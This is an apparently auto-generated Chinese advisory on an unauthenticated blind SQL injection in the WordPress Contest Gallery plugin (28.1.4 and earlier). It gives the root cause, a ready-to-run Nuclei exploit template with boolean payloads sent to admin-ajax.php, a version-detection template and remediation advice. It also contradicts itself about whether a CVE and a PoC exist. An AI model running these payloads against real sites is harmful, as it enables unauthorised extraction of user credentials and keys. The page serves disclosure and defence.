[webapps] WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
Contest Gallery 28.1.4 及之前版本存在未经认证的盲 SQL 注入漏洞 (CVE-2026-3180),攻击者可利用 cgl_mail 参数注入 SQL 查询。本文深入分析根因、攻击场景、PoC 及修复建议,适合安全研究员和 WordPress 管理员。
Contest Gallery 28.1.4 及更早版本存在未经认证的盲 SQL 注入漏洞。
High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5)📋 漏洞基础信息
| CVE | 未分配CVE |
|---|---|
| 漏洞类型 | SQL 注入 (盲注) |
| 受影响版本 | WordPress Contest Gallery 版本 <= 28.1.4 |
| 危害等级 | High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5) |
| 发布日期 | 2026-06-05 |
| 提交者 | cardosource |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
在处理 cgl_mail 参数时,sanitize_email() 函数保留了电子邮件本地部分的单引号,导致用户输入未经正确参数化便传入 wpdb->get_row(),从而引发 SQL 注入。
🎯 攻击场景
1. 无需认证,攻击者构造特制的电子邮件地址,在本地部分插入 SQL 注入 payload(如 'OR/**/1=1#@teste.com)。 2. 向 /wp-admin/admin-ajax.php 发送 POST 请求,action 为 post_cg1l_resend_unconfirmed_mail_frontend,cgl_mail 设置为带有 payload 的邮件地址。 3. 根据响应内容长度(布尔盲注)判断注入条件是否成立,逐步提取数据库信息。 成功标志:能够通过布尔条件差异获取数据。
💥 漏洞影响
未经认证的攻击者可通过布尔盲注窃取 WordPress 数据库中敏感信息,如用户凭证、密钥等,导致数据泄露。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2026-3180-exploit
info:
name: WordPress Contest Gallery <= 28.1.4 - Unauthenticated Blind SQL Injection
author: cardosource
severity: critical
description: Exploits an unauthenticated blind SQL injection vulnerability in Contest Gallery plugin. The cgl_mail parameter is unsafely handled,
allowing boolean-based blind SQL injection.
remediation: Update Contest Gallery plugin to version 28.1.5 or later.
tags: wordpress,wp-plugin,contest-gallery,sqli,blind
variables:
true_payload: "qualquer'OR/**/1=1#@teste.com"
false_payload: "qualquer'OR/**/1=2#@teste.com"
http:
- raw:
- |POST {{BaseURL}}/wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail={{true_payload}}&cgl_page_id=1&cgl_activation_key=&cg_nonce=
- |POST {{BaseURL}}/wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail={{false_payload}}&cgl_page_id=1&cgl_activation_key=&cg_nonce=
matchers:
- type: dsl
dsl:
- "len(body_1) >0 &&len(body_2) >0 &&len(body_1) != len(body_2)"
condition: and🔬 深度技术分析
PoC 通过构造两个 payload 发送到 admin-ajax.php:'OR/**/1=1#@teste.com(真条件)和 'OR/**/1=2#@teste.com(假条件)。根据响应体长度差异(200 OK,长度变化)进行布尔盲注,判断 SQL 注入是否成功。PoC 最后使用 mariadb 命令从 wp_contest_gal1ery_create_user_entries 表提取数据,展示漏洞可利用性。
🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-3180-detection
info:
name: WordPress Contest Gallery <= 28.1.4 Detection
author: cardosource
severity: high
description: Detects WordPress Contest Gallery plugin version <= 28.1.4 which is vulnerable to unauthenticated blind SQL injection
tags: wordpress,wp-plugin,contest-gallery,sqli
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/contest-gallery/readme.txt"
matchers-condition: and
matchers:
- type: word
words:
- "Contest Gallery"
part: body
- type: regex
part: body
regex:
- 'Stable tag: (?:0*[1-9]|1\d|2[0-7])\.\d+\.\d+|Stable tag: 28\.(?:0*[0-9]|1[0-4])'
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- 'Stable tag: (\d+\.\d+\.\d+)'
group: 1
internal: true
stop-at-first-match: true🛡️ 修复建议
升级到 Contest Gallery 28.1.5 或更高版本;临时缓解措施:在 Web 应用防火墙(WAF)中添加规则,拦截 cgl_mail 参数中包含单引号或 SQL 关键字的请求。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-06-06 08:10 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 漏洞是否需要认证?
不需要,漏洞无需认证即可利用,属于 Unauthenticated Blind SQL Injection。
❓ sanitize_email 为何保留单引号?
根据 RFC 5321,电子邮件本地部分允许包含单引号,sanitize_email 未转义 SQL 特殊字符,导致注入。
❓ 如何检测是否被攻击?
检查 admin-ajax.php 请求中 cgl_mail 参数是否包含单引号、OR、注释符号 (#) 等异常字符。